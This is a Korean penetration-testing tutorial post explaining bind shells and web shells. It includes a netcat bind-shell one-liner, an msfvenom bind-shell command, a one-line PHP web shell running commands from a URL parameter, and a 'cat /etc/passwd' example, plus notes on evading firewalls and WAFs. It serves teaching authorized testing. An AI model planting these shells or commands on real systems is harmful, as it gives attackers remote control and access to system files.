모의해킹
호스트기반모의해킹_24_바인드 쉘과 웹 쉘
작성자 : Heehyeon Yoo|2025-12-03
# 모의해킹# Bind Shell# Web Shell# WSO# Persistence
1. 바인드 쉘
1.1 개념
바인드 쉘은 악성 코드가 타겟 시스템의 특정 포트를 열고(Listening), 공격자가 그 포트로 접속하여 제어권을 얻는 방식이다.
- 흐름:
Attacker---(Connect) --->Target(Listening on 7777) - 트래픽: 인바운드(Inbound) 트래픽 발생.
1.2 제작 및 접속
- MSFVenom 생성:
msfvenom -p linux/x64/shell_bind_tcp RHOST=[Target_IP] LPORT=[Bind_Port] ... - One-Liner(Netcat):
# 타겟에서 실행(포트 9000 오픈) nc -lvnp 9000 -e /bin/sh - 접속(Attacker):
nc [Target_IP] 9000
1.3 한계점
- 방화벽(Firewall): 대부분의 기업 환경은 외부에서 내부로 들어오는 인바운드 정책을 엄격하게 통제한다. 허용되지 않은 포트(예: 7777)로 접속 시도가 차단될 확률이 매우 높다.
- NAT: 타겟이 사설 IP망 내부에 있다면 외부에서 직접 접속이 불가능하다(포트포워딩 필요).
- 따라서 실무에서는 리버스 쉘이 훨씬 선호된다.
2. 웹 쉘
2.1 개념
웹 서버의 파일 업로드 취약점 등을 이용하여 스크립트 파일(php, jsp, asp)을 업로드하고, 웹 요청을 통해 시스템 명령어를 실행하는 쉘이다.
- 특징: 별도의 포트를 열지 않고, 기존 웹 서비스 포트(80, 443)를 이용하므로 방화벽을 우회하기 쉽다.
- 트래픽: 정상적인 HTTP/HTTPS 트래픽 틈에 섞여 있어 탐지가 까다롭다(단, 로그 분석 시 평문 명령어 노출 가능).
2.2 종류
A. 단순 웹 쉘(One-Liner)
가장 간단한 형태. 기능이 제한적이다.
<?php system($_GET['cmd']); ?>
- 사용:
http://target.com/shell.php?cmd=ls -al - 주의: URL Encoding 필수. 공백(
) ->%20,&->%26등으로 변환해야 명령어가 제대로 전달된다.
B. 기능형 웹 쉘(예: WSO - Web Shell by Orb)
파일 관리, DB 접속, 프로세스 조회 등 GUI에 준하는 기능을 제공하는 풀 패키지 웹 쉘.
- 보안 기능: 패스워드 인증을 적용하여 아무나 접근하지 못하게 해야 한다.
3. 실무에서는?
- 공개 웹 쉘의 위험성:
webshell.php처럼 뻔한 이름이나 패스워드가 없는 웹 쉘을 방치하면, 제3의 해커(인터넷 스캐너)가 이를 발견하고 시스템을 장악할 수 있다.- 이는 모의해커의 과실로 인한 보안 사고로 간주되며, 법적 책임 소지가 있다.
- 반드시 복잡한 파일명(예:
a8f12.php)과 강력한 패스워드를 적용해야 한다.
- 트래픽 암호화:
- 기본 웹 쉘은 명령어가 HTTP GET/POST 파라미터에 평문으로 노출된다(예:
cmd=cat /etc/passwd). - WAF(웹 방화벽) 탐지를 피하기 위해 명령어를 암호화하거나 인코딩하여 전송하는 고급 웹 쉘을 사용하기도 한다.
- 모의해킹 종료 후에는 반드시 웹 쉘 파일을 삭제(Cleanup)해야 한다.
- 기본 웹 쉘은 명령어가 HTTP GET/POST 파라미터에 평문으로 노출된다(예: